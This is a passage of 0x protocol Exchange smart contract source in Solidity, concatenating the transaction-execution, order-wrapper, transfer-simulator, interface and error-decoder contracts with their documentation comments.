Refundable,
LibEIP712ExchangeDomain,
ISignatureValidator,
ITransactions
{
using LibZeroExTransaction for LibZeroExTransaction.ZeroExTransaction;
// Mapping of transaction hash => executed
// This prevents transactions from being executed more than once.
mapping (bytes32 => bool) public transactionsExecuted;
// Address of current transaction signer
address public currentContextAddress;
/// @dev Executes an Exchange method call in the context of signer.
/// @param transaction 0x transaction structure.
/// @param signature Proof that transaction has been signed by signer.
/// @return ABI encoded return data of the underlying Exchange function call.
function executeTransaction(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
public
payable
disableRefundUntilEnd
returns (bytes memory)
{
return _executeTransaction(transaction, signature);
}
/// @dev Executes a batch of Exchange method calls in the context of signer(s).
/// @param transactions Array of 0x transaction structures.
/// @param signatures Array of proofs that transactions have been signed by signer(s).
/// @return Array containing ABI encoded return data for each of the underlying Exchange function calls.
function batchExecuteTransactions(
LibZeroExTransaction.ZeroExTransaction[] memory transactions,
bytes[] memory signatures
)
public
payable
disableRefundUntilEnd
returns (bytes[] memory)
{
uint256 length = transactions.length;
bytes[] memory returnData = new bytes[](length);
for (uint256 i = 0; i != length; i++) {
returnData[i] = _executeTransaction(transactions[i], signatures[i]);
}
return returnData;
}
/// @dev Executes an Exchange method call in the context of signer.
/// @param transaction 0x transaction structure.
/// @param signature Proof that transaction has been signed by signer.
/// @return ABI encoded return data of the underlying Exchange function call.
function _executeTransaction(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
internal
returns (bytes memory)
{
bytes32 transactionHash = transaction.getTypedDataHash(EIP712_EXCHANGE_DOMAIN_HASH);
_assertExecutableTransaction(
transaction,
signature,
transactionHash
);
// Set the current transaction signer
address signerAddress = transaction.signerAddress;
_setCurrentContextAddressIfRequired(signerAddress, signerAddress);
// Execute transaction
transactionsExecuted[transactionHash] = true;
(bool didSucceed, bytes memory returnData) = address(this).delegatecall(transaction.data);
if (!didSucceed) {
LibRichErrors.rrevert(LibExchangeRichErrors.TransactionExecutionError(
transactionHash,
returnData
));
}
// Reset current transaction signer if it was previously updated
_setCurrentContextAddressIfRequired(signerAddress, address(0));
emit TransactionExecution(transactionHash);
return returnData;
}
/// @dev Validates context for executeTransaction. Succeeds or throws.
/// @param transaction 0x transaction structure.
/// @param signature Proof that transaction has been signed by signer.
/// @param transactionHash EIP712 typed data hash of 0x transaction.
function _assertExecutableTransaction(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature,
bytes32 transactionHash
)
internal
view
{
// Check transaction is not expired
// solhint-disable-next-line not-rely-on-time
if (block.timestamp >= transaction.expirationTimeSeconds) {
LibRichErrors.rrevert(LibExchangeRichErrors.TransactionError(
LibExchangeRichErrors.TransactionErrorCodes.EXPIRED,
transactionHash
));
}
// Validate that transaction is executed with the correct gasPrice
uint256 requiredGasPrice = transaction.gasPrice;
if (tx.gasprice != requiredGasPrice) {
LibRichErrors.rrevert(LibExchangeRichErrors.TransactionGasPriceError(
transactionHash,
tx.gasprice,
requiredGasPrice
));
}
// Prevent `executeTransaction` from being called when context is already set
address currentContextAddress_ = currentContextAddress;
if (currentContextAddress_ != address(0)) {
LibRichErrors.rrevert(LibExchangeRichErrors.TransactionInvalidContextError(
transactionHash,
currentContextAddress_
));
}
// Validate transaction has not been executed
if (transactionsExecuted[transactionHash]) {
LibRichErrors.rrevert(LibExchangeRichErrors.TransactionError(
LibExchangeRichErrors.TransactionErrorCodes.ALREADY_EXECUTED,
transactionHash
));
}
// Validate signature
// Transaction always valid if signer is sender of transaction
address signerAddress = transaction.signerAddress;
if (signerAddress != msg.sender && !_isValidTransactionWithHashSignature(
transaction,
transactionHash,
signature
)
) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.BAD_TRANSACTION_SIGNATURE,
transactionHash,
signerAddress,
signature
));
}
}
/// @dev Sets the currentContextAddress if the current context is not msg.sender.
/// @param signerAddress Address of the transaction signer.
/// @param contextAddress The current context address.
function _setCurrentContextAddressIfRequired(
address signerAddress,
address contextAddress
)
internal
{
if (signerAddress != msg.sender) {
currentContextAddress = contextAddress;
}
}
/// @dev The current function will be called in the context of this address (either 0x transaction signer or `msg.sender`).
/// If calling a fill function, this address will represent the taker.
/// If calling a cancel function, this address will represent the maker.
/// @return Signer of 0x transaction if entry point is `executeTransaction`.
/// `msg.sender` if entry point is any other function.
function _getCurrentContextAddress()
internal
view
returns (address)
{
address currentContextAddress_ = currentContextAddress;
address contextAddress = currentContextAddress_ == address(0) ? msg.sender : currentContextAddress_;
return contextAddress;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
contract ITransactions {
// TransactionExecution event is emitted when a ZeroExTransaction is executed.
event TransactionExecution(bytes32 indexed transactionHash);
/// @dev Executes an Exchange method call in the context of signer.
/// @param transaction 0x transaction containing salt, signerAddress, and data.
/// @param signature Proof that transaction has been signed by signer.
/// @return ABI encoded return data of the underlying Exchange function call.
function executeTransaction(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
public
payable
returns (bytes memory);
/// @dev Executes a batch of Exchange method calls in the context of signer(s).
/// @param transactions Array of 0x transactions containing salt, signerAddress, and data.
/// @param signatures Array of proofs that transactions have been signed by signer(s).
/// @return Array containing ABI encoded return data for each of the underlying Exchange function calls.
function batchExecuteTransactions(
LibZeroExTransaction.ZeroExTransaction[] memory transactions,
bytes[] memory signatures
)
public
payable
returns (bytes[] memory);
/// @dev The current function will be called in the context of this address (either 0x transaction signer or `msg.sender`).
/// If calling a fill function, this address will represent the taker.
/// If calling a cancel function, this address will represent the maker.
/// @return Signer of 0x transaction if entry point is `executeTransaction`.
/// `msg.sender` if entry point is any other function.
function _getCurrentContextAddress()
internal
view
returns (address);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/LibSafeMath.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibMath.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "./interfaces/IExchangeCore.sol";
import "./interfaces/IWrapperFunctions.sol";
import "./MixinExchangeCore.sol";
contract MixinWrapperFunctions is
IWrapperFunctions,
MixinExchangeCore
{
using LibSafeMath for uint256;
/// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
function fillOrKillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
payable
refundFinalBalanceNoReentry
returns (LibFillResults.FillResults memory fillResults)
{
fillResults = _fillOrKillOrder(
order,
takerAssetFillAmount,
signature
);
return fillResults;
}
/// @dev Executes multiple calls of fillOrder.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
refundFinalBalanceNoReentry
returns (LibFillResults.FillResults[] memory fillResults)
{
uint256 ordersLength = orders.length;
fillResults = new LibFillResults.FillResults[](ordersLength);
for (uint256 i = 0; i != ordersLength; i++) {
fillResults[i] = _fillOrder(
orders[i],
takerAssetFillAmounts[i],
signatures[i]
);
}
return fillResults;
}
/// @dev Executes multiple calls of fillOrKillOrder.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrKillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
refundFinalBalanceNoReentry
returns (LibFillResults.FillResults[] memory fillResults)
{
uint256 ordersLength = orders.length;
fillResults = new LibFillResults.FillResults[](ordersLength);
for (uint256 i = 0; i != ordersLength; i++) {
fillResults[i] = _fillOrKillOrder(
orders[i],
takerAssetFillAmounts[i],
signatures[i]
);
}
return fillResults;
}
/// @dev Executes multiple calls of fillOrder. If any fill reverts, the error is caught and ignored.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
disableRefundUntilEnd
returns (LibFillResults.FillResults[] memory fillResults)
{
uint256 ordersLength = orders.length;
fillResults = new LibFillResults.FillResults[](ordersLength);
for (uint256 i = 0; i != ordersLength; i++) {
fillResults[i] = _fillOrderNoThrow(
orders[i],
takerAssetFillAmounts[i],
signatures[i]
);
}
return fillResults;
}
/// @dev Executes multiple calls of fillOrder until total amount of takerAsset is sold by taker.
/// If any fill reverts, the error is caught and ignored.
/// NOTE: This function does not enforce that the takerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
payable
disableRefundUntilEnd
returns (LibFillResults.FillResults memory fillResults)
{
uint256 ordersLength = orders.length;
for (uint256 i = 0; i != ordersLength; i++) {
// Calculate the remaining amount of takerAsset to sell
uint256 remainingTakerAssetFillAmount = takerAssetFillAmount.safeSub(fillResults.takerAssetFilledAmount);
// Attempt to sell the remaining amount of takerAsset
LibFillResults.FillResults memory singleFillResults = _fillOrderNoThrow(
orders[i],
remainingTakerAssetFillAmount,
signatures[i]
);
// Update amounts filled and fees paid by maker and taker
fillResults = LibFillResults.addFillResults(fillResults, singleFillResults);
// Stop execution if the entire amount of takerAsset has been sold
if (fillResults.takerAssetFilledAmount >= takerAssetFillAmount) {
break;
}
}
return fillResults;
}
/// @dev Executes multiple calls of fillOrder until total amount of makerAsset is bought by taker.
/// If any fill reverts, the error is caught and ignored.
/// NOTE: This function does not enforce that the makerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
payable
disableRefundUntilEnd
returns (LibFillResults.FillResults memory fillResults)
{
uint256 ordersLength = orders.length;
for (uint256 i = 0; i != ordersLength; i++) {
// Calculate the remaining amount of makerAsset to buy
uint256 remainingMakerAssetFillAmount = makerAssetFillAmount.safeSub(fillResults.makerAssetFilledAmount);
// Convert the remaining amount of makerAsset to buy into remaining amount
// of takerAsset to sell, assuming entire amount can be sold in the current order
uint256 remainingTakerAssetFillAmount = LibMath.getPartialAmountCeil(
orders[i].takerAssetAmount,
orders[i].makerAssetAmount,
remainingMakerAssetFillAmount
);
// Attempt to sell the remaining amount of takerAsset
LibFillResults.FillResults memory singleFillResults = _fillOrderNoThrow(
orders[i],
remainingTakerAssetFillAmount,
signatures[i]
);
// Update amounts filled and fees paid by maker and taker
fillResults = LibFillResults.addFillResults(fillResults, singleFillResults);
// Stop execution if the entire amount of makerAsset has been bought
if (fillResults.makerAssetFilledAmount >= makerAssetFillAmount) {
break;
}
}
return fillResults;
}
/// @dev Calls marketSellOrdersNoThrow then reverts if < takerAssetFillAmount has been sold.
/// NOTE: This function does not enforce that the takerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Minimum amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersFillOrKill(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults)
{
fillResults = marketSellOrdersNoThrow(orders, takerAssetFillAmount, signatures);
if (fillResults.takerAssetFilledAmount < takerAssetFillAmount) {
LibRichErrors.rrevert(LibExchangeRichErrors.IncompleteFillError(
LibExchangeRichErrors.IncompleteFillErrorCode.INCOMPLETE_MARKET_SELL_ORDERS,
takerAssetFillAmount,
fillResults.takerAssetFilledAmount
));
}
}
/// @dev Calls marketBuyOrdersNoThrow then reverts if < makerAssetFillAmount has been bought.
/// NOTE: This function does not enforce that the makerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Minimum amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrdersFillOrKill(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults)
{
fillResults = marketBuyOrdersNoThrow(orders, makerAssetFillAmount, signatures);
if (fillResults.makerAssetFilledAmount < makerAssetFillAmount) {
LibRichErrors.rrevert(LibExchangeRichErrors.IncompleteFillError(
LibExchangeRichErrors.IncompleteFillErrorCode.INCOMPLETE_MARKET_BUY_ORDERS,
makerAssetFillAmount,
fillResults.makerAssetFilledAmount
));
}
}
/// @dev Executes multiple calls of cancelOrder.
/// @param orders Array of order specifications.
function batchCancelOrders(LibOrder.Order[] memory orders)
public
payable
refundFinalBalanceNoReentry
{
uint256 ordersLength = orders.length;
for (uint256 i = 0; i != ordersLength; i++) {
_cancelOrder(orders[i]);
}
}
/// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
function _fillOrKillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
fillResults = _fillOrder(
order,
takerAssetFillAmount,
signature
);
if (fillResults.takerAssetFilledAmount != takerAssetFillAmount) {
LibRichErrors.rrevert(LibExchangeRichErrors.IncompleteFillError(
LibExchangeRichErrors.IncompleteFillErrorCode.INCOMPLETE_FILL_ORDER,
takerAssetFillAmount,
fillResults.takerAssetFilledAmount
));
}
return fillResults;
}
/// @dev Fills the input order.
/// Returns a null FillResults instance if the transaction would otherwise revert.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function _fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
// ABI encode calldata for `fillOrder`
bytes memory fillOrderCalldata = abi.encodeWithSelector(
IExchangeCore(address(0)).fillOrder.selector,
order,
takerAssetFillAmount,
signature
);
(bool didSucceed, bytes memory returnData) = address(this).delegatecall(fillOrderCalldata);
if (didSucceed) {
assert(returnData.length == 160);
fillResults = abi.decode(returnData, (LibFillResults.FillResults));
}
// fillResults values will be 0 by default if call was unsuccessful
return fillResults;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
contract IWrapperFunctions {
/// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
function fillOrKillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Executes multiple calls of fillOrder.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults[] memory fillResults);
/// @dev Executes multiple calls of fillOrKillOrder.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrKillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults[] memory fillResults);
/// @dev Executes multiple calls of fillOrder. If any fill reverts, the error is caught and ignored.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults[] memory fillResults);
/// @dev Executes multiple calls of fillOrder until total amount of takerAsset is sold by taker.
/// If any fill reverts, the error is caught and ignored.
/// NOTE: This function does not enforce that the takerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Executes multiple calls of fillOrder until total amount of makerAsset is bought by taker.
/// If any fill reverts, the error is caught and ignored.
/// NOTE: This function does not enforce that the makerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Calls marketSellOrdersNoThrow then reverts if < takerAssetFillAmount has been sold.
/// NOTE: This function does not enforce that the takerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Minimum amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersFillOrKill(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Calls marketBuyOrdersNoThrow then reverts if < makerAssetFillAmount has been bought.
/// NOTE: This function does not enforce that the makerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Minimum amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrdersFillOrKill(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Executes multiple calls of cancelOrder.
/// @param orders Array of order specifications.
function batchCancelOrders(LibOrder.Order[] memory orders)
public
payable;
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "./MixinAssetProxyDispatcher.sol";
contract MixinTransferSimulator is
MixinAssetProxyDispatcher
{
/// @dev This function may be used to simulate any amount of transfers
/// As they would occur through the Exchange contract. Note that this function
/// will always revert, even if all transfers are successful. However, it may
/// be used with eth_call or with a try/catch pattern in order to simulate
/// the results of the transfers.
/// @param assetData Array of asset details, each encoded per the AssetProxy contract specification.
/// @param fromAddresses Array containing the `from` addresses that correspond with each transfer.
/// @param toAddresses Array containing the `to` addresses that correspond with each transfer.
/// @param amounts Array containing the amounts that correspond to each transfer.
/// @return This function does not return a value. However, it will always revert with
/// `Error("TRANSFERS_SUCCESSFUL")` if all of the transfers were successful.
function simulateDispatchTransferFromCalls(
bytes[] memory assetData,
address[] memory fromAddresses,
address[] memory toAddresses,
uint256[] memory amounts
)
public
{
uint256 length = assetData.length;
for (uint256 i = 0; i != length; i++) {
_dispatchTransferFrom(
// The index is passed in as `orderHash` so that a failed transfer can be quickly identified when catching the error
bytes32(i),
assetData[i],
fromAddresses[i],
toAddresses[i],
amounts[i]
);
}
revert("TRANSFERS_SUCCESSFUL");
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "./IExchangeCore.sol";
import "./IProtocolFees.sol";
import "./IMatchOrders.sol";
import "./ISignatureValidator.sol";
import "./ITransactions.sol";
import "./IAssetProxyDispatcher.sol";
import "./IWrapperFunctions.sol";
import "./ITransferSimulator.sol";
// solhint-disable no-empty-blocks
contract IExchange is
IProtocolFees,
IExchangeCore,
IMatchOrders,
ISignatureValidator,
ITransactions,
IAssetProxyDispatcher,
ITransferSimulator,
IWrapperFunctions
{}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
contract ITransferSimulator {
/// @dev This function may be used to simulate any amount of transfers
/// As they would occur through the Exchange contract. Note that this function
/// will always revert, even if all transfers are successful. However, it may
/// be used with eth_call or with a try/catch pattern in order to simulate
/// the results of the transfers.
/// @param assetData Array of asset details, each encoded per the AssetProxy contract specification.
/// @param fromAddresses Array containing the `from` addresses that correspond with each transfer.
/// @param toAddresses Array containing the `to` addresses that correspond with each transfer.
/// @param amounts Array containing the amounts that correspond to each transfer.
/// @return This function does not return a value. However, it will always revert with
/// `Error("TRANSFERS_SUCCESSFUL")` if all of the transfers were successful.
function simulateDispatchTransferFromCalls(
bytes[] memory assetData,
address[] memory fromAddresses,
address[] memory toAddresses,
uint256[] memory amounts
)
public;
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "@0x/contracts-utils/contracts/src/LibBytes.sol";
contract LibExchangeRichErrorDecoder {
using LibBytes for bytes;
/// @dev Decompose an ABI-encoded SignatureError.
/// @param encoded ABI-encoded revert error.
/// @return errorCode The error code.
/// @return signerAddress The expected signer of the hash.
/// @return signature The full signature.
function decodeSignatureError(bytes memory encoded)
public
pure
returns (
LibExchangeRichErrors.SignatureErrorCodes errorCode,
bytes32 hash,
address signerAddress,
bytes memory signature
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.SignatureErrorSelector());
uint8 _errorCode;
(_errorCode, hash, signerAddress, signature) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(uint8, bytes32, address, bytes)
);
errorCode = LibExchangeRichErrors.SignatureErrorCodes(_errorCode);
}
/// @dev Decompose an ABI-encoded SignatureValidatorError.
/// @param encoded ABI-encoded revert error.
/// @return signerAddress The expected signer of the hash.
/// @return signature The full signature bytes.
/// @return errorData The revert data thrown by the validator contract.
function decodeEIP1271SignatureError(bytes memory encoded)
public
pure
returns (
address verifyingContractAddress,
bytes memory data,
bytes memory signature,
bytes memory errorData
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.EIP1271SignatureErrorSelector());
(verifyingContractAddress, data, signature, errorData) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(address, bytes, bytes, bytes)
);
}
/// @dev Decompose an ABI-encoded SignatureValidatorNotApprovedError.
/// @param encoded ABI-encoded revert error.
/// @return signerAddress The expected signer of the hash.
/// @return validatorAddress The expected validator.
function decodeSignatureValidatorNotApprovedError(bytes memory encoded)
public
pure
returns (
address signerAddress,
address validatorAddress
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.SignatureValidatorNotApprovedErrorSelector());
(signerAddress, validatorAddress) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(address, address)
);
}
/// @dev Decompose an ABI-encoded SignatureWalletError.
/// @param encoded ABI-encoded revert error.
/// @return errorCode The error code.
/// @return signerAddress The expected signer of the hash.
/// @return signature The full signature bytes.
/// @return errorData The revert data thrown by the validator contract.
function decodeSignatureWalletError(bytes memory encoded)
public
pure
returns (
bytes32 hash,
address signerAddress,
bytes memory signature,
bytes memory errorData
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.SignatureWalletErrorSelector());
(hash, signerAddress, signature, errorData) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(bytes32, address, bytes, bytes)
);
}
/// @dev Decompose an ABI-encoded OrderStatusError.
/// @param encoded ABI-encoded revert error.
/// @return orderHash The order hash.
/// @return orderStatus The order status.
function decodeOrderStatusError(bytes memory encoded)
public
pure
returns (
bytes32 orderHash,
LibOrder.OrderStatus orderStatus
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.OrderStatusErrorSelector());
uint8 _orderStatus;
(orderHash, _orderStatus) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(bytes32, uint8)
);
orderStatus = LibOrder.OrderStatus(_orderStatus);
}
/// @dev Decompose an ABI-encoded OrderStatusError.
/// @param encoded ABI-encoded revert error.
/// @return errorCode Error code that corresponds to invalid maker, taker, or sender.
/// @return orderHash The order hash.
/// @return contextAddress The maker, taker, or sender address
function decodeExchangeInvalidContextError(bytes memory encoded)
public
pure
returns (
LibExchangeRichErrors.ExchangeContextErrorCodes errorCode,
bytes32 orderHash,
address contextAddress
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.ExchangeInvalidContextErrorSelector());
uint8 _errorCode;
(_errorCode, orderHash, contextAddress) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(uint8, bytes32, address)
);
errorCode = LibExchangeRichErrors.ExchangeContextErrorCodes(_errorCode);
}
/// @dev Decompose an ABI-encoded FillError.
/// @param encoded ABI-encoded revert error.
/// @return errorCode The error code.
/// @return orderHash The order hash.
function decodeFillError(bytes memory encoded)
public
pure
returns (
LibExchangeRichErrors.FillErrorCodes errorCode,
bytes32 orderHash
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.FillErrorSelector());
uint8 _errorCode;
(_errorCode, orderHash) = abi.decode(
encoded.sliceDestructive(4, encoded.length),
(uint8, bytes32)
);
errorCode = LibExchangeRichErrors.FillErrorCodes(_errorCode);
}
/// @dev Decompose an ABI-encoded OrderEpochError.
/// @param encoded ABI-encoded revert error.
/// @return makerAddress The order maker.
/// @return orderSenderAddress The order sender.
/// @return currentEpoch The current epoch for the maker.
function decodeOrderEpochError(bytes memory encoded)
public
pure
returns (
address makerAddress,
address orderSenderAddress,
uint256 currentEpoch
)
{
_assertSelectorBytes(encoded, LibExchangeRichErrors.OrderEpochErrorSelector());
(makerAddress, orderSenderAddress, currentEpoch) = abi.decode(
